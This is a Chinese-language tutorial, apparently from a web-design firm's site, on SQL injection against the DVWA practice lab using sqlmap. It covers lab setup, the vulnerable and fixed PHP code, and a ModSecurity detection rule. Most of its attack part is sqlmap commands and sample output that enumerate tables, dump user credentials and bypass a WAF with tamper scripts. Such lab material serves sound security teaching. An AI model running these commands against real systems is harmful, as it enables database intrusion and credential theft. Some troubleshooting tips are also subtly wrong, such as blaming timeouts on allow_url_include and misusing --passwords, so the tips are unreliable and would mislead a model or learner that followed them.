☰
DVWA靶场与SQLMap实战:SQL注入攻防技术详解
2026/10/28 3:03:22 网站建设 项目流程

1. 实验环境准备与工具配置

DVWA(Damn Vulnerable Web Application)是一个专为安全测试设计的PHP/MySQL应用,内置了SQL注入、XSS、文件包含等常见漏洞模块。我选择它作为实验平台,主要因为其环境可控且漏洞类型明确,非常适合新手学习渗透测试基础。

SQLMap作为自动化SQL注入工具的最新稳定版(1.7.8),需要Python 2.6/2.7或3.x环境支持。安装时常见的问题是依赖库缺失,建议通过以下命令完整安装:

pip install --upgrade sqlmap

注意:实际测试中我发现Python 3.9+环境可能出现兼容性问题,推荐使用Python 3.7.x版本。如果遇到"Missing dependencies"错误,需要手动安装pyOpenSSL、urllib3等库。

实验网络拓扑应采用隔离环境,我通常使用VirtualBox搭建包含以下组件的测试环境:

  • Kali Linux(攻击机)
  • Windows 10(靶机)
  • DVWA部署在靶机的XAMPP环境中

2. DVWA靶场配置要点

下载DVWA 1.10版本后,需要特别注意config.inc.php文件的配置:

$_DVWA['db_user'] = 'dvwa'; $_DVWA['db_password'] = 'p@ssw0rd'; $_DVWA['db_database'] = 'dvwa';

安全级别设置直接影响注入难度,建议从"low"级别开始练习:

  1. 登录DVWA后进入"Security"页面
  2. 将安全级别调整为"Low"
  3. 测试结束后务必恢复为"Impossible"级别

关键技巧:在"SQL Injection"模块的源码中(vulnerabilities/sqli/source/low.php),可以看到未做任何过滤的SQL语句:

$id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

3. SQLMap基础探测流程

首先使用Burp Suite拦截SQL注入页面的请求(/vulnerabilities/sqli/?id=1&Submit=Submit),保存为request.txt文件。然后执行基础探测命令:

sqlmap -r request.txt --batch --risk=3 --level=5

参数解析:

  • --batch:自动选择默认选项
  • --risk=3:启用高风险测试(含OR-based注入)
  • --level=5:最大检测强度

当检测到注入点后,典型输出会包含:

Parameter: id (GET) Type: boolean-based blind Title: MySQL >= 5.0 AND boolean-based blind Payload: id=1' AND 5891=5891 AND 'aVkj'='aVkj

4. 高级注入技术实战

4.1 数据库指纹识别

获取DBMS详细信息:

sqlmap -r request.txt --banner --current-user --current-db

典型输出:

banner: '5.7.26-0ubuntu0.18.04.1' current user: 'dvwa@localhost' current database: 'dvwa'

4.2 表结构枚举

列出所有表结构:

sqlmap -r request.txt --tables --columns

关键输出示例:

Database: dvwa Table: users [5 columns] +------------+-------------+ | Column | Type | +------------+-------------+ | user_id | int(6) | | first_name | varchar(15) | | last_name | varchar(15) | | user | varchar(15) | | password | varchar(32) | +------------+-------------+

4.3 数据提取技巧

获取用户凭证的三种方式:

  1. 常规提取:
sqlmap -r request.txt -D dvwa -T users --dump
  1. 条件提取(仅admin用户):
sqlmap -r request.txt -D dvwa -T users -C user,password --where="user='admin'"
  1. 哈希破解:
sqlmap -r request.txt -D dvwa -T users -C password --passwords

5. 防御绕过与疑难处理

5.1 WAF绕过技术

当遇到基础注入被拦截时,可以尝试:

sqlmap -r request.txt --tamper=space2comment --random-agent

常用tamper脚本:

  • space2comment:空格转/**/
  • between:用BETWEEN替换比较符
  • chardoubleencode:双重URL编码

5.2 高安全级别挑战

DVWA的"High"级别使用session防护,需要:

  1. 先获取有效PHPSESSID
  2. 在请求头中添加Cookie
sqlmap -r request.txt --cookie="PHPSESSID=abc123; security=high"

5.3 常见错误解决

  1. 连接超时:检查DVWA的config.inc.php中allow_url_include是否开启
  2. 编码问题:添加--hex参数进行十六进制编码
  3. 403禁止访问:使用--proxy=http://127.0.0.1:8080通过Burp观察请求

6. 安全防护建议

从防御角度,DVWA的"Impossible"级别展示了最佳实践:

$id = $_GET['id']; $stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = :id"); $stmt->bindParam(':id', $id, PDO::PARAM_INT); $stmt->execute();

关键防护措施:

  1. 使用预处理语句(PDO/mysqli)
  2. 输入类型强制转换(如(int)$_GET['id'])
  3. 最小权限原则(数据库用户仅需SELECT权限)
  4. 错误信息屏蔽(display_errors=Off)

在真实环境中,还应部署WAF规则过滤常见注入特征,例如:

SecRule REQUEST_URI|REQUEST_BODY "@rx (union[\s\+]+select|sleep\(|benchmark\()" \ "id:10001,phase:2,deny,status:403"

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询